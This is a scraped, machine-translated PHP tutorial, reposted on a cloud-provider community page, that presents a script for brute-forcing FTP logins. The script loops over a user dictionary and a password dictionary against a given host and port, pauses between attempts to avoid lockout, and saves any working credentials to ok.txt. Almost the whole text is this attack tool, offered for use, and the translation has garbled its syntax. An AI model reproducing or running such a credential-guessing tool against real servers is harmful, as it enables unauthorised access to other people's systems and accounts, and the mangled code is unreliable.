Burst FTP username and password (php practiced hand works) _php Tutorial

Source: Internet
Author: User
Usage: PHP this file. PHP FTP IP port user dictionary password dictionary, example: PHP ftp.php 192.168.8.10 user.dic pass.dic. You can change the number of seconds in sleep, after the success of the user name and password saved in the same directory ok.txt.


Separate user name and n password corresponding to each other
$user =file ($_server["argv"][3]);
$pass =file ($_server["argv"][4]);
$countuser =count ($user);
$countpass =count ($pass);
$n = 0;
Do
{


for ($i =0; $i < $countpass; $i = $i + 1) {
echo "$user [$n], $pass [$i]";
FTPLogin ($user [$n], $pass [$i]);//Call the FTP function
Sleep (5);//Prevent FTP from being shut down for 5 seconds
Continue;
}
$n + +;
}
while ($n < $countuser);

FTP function, login successfully write the correct user name and password to the ok.txt in this directory
function FTPLogin ($username, $password) {
Global $username, $password;
$host =$_server["argv"][1];
$port =$_server["argv"][2];
$conn = Ftp_connect ($host, $port);
if (! $conn) {

echo "Cannot connect FTP";
Exit
}
@ $result =ftp_login ($conn, $username, $password);
if (! $result) {
echo "Error";
Ftp_quit ($conn);
}
else{
echo "---------------------------------->ok";
Fputs (fopen (ok.txt,a+), "User name:". $username. " Password: ". $password);
}
}

?>

http://www.bkjia.com/PHPjc/532404.html www.bkjia.com true http://www.bkjia.com/PHPjc/532404.html techarticle PHP //Usage: PHP this file. PHP FTP IP port user dictionary password dictionary, example: PHP ftp.php 192.168.8.10 user.dic pass.dic. Can change the number of seconds in sleep, burst into ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.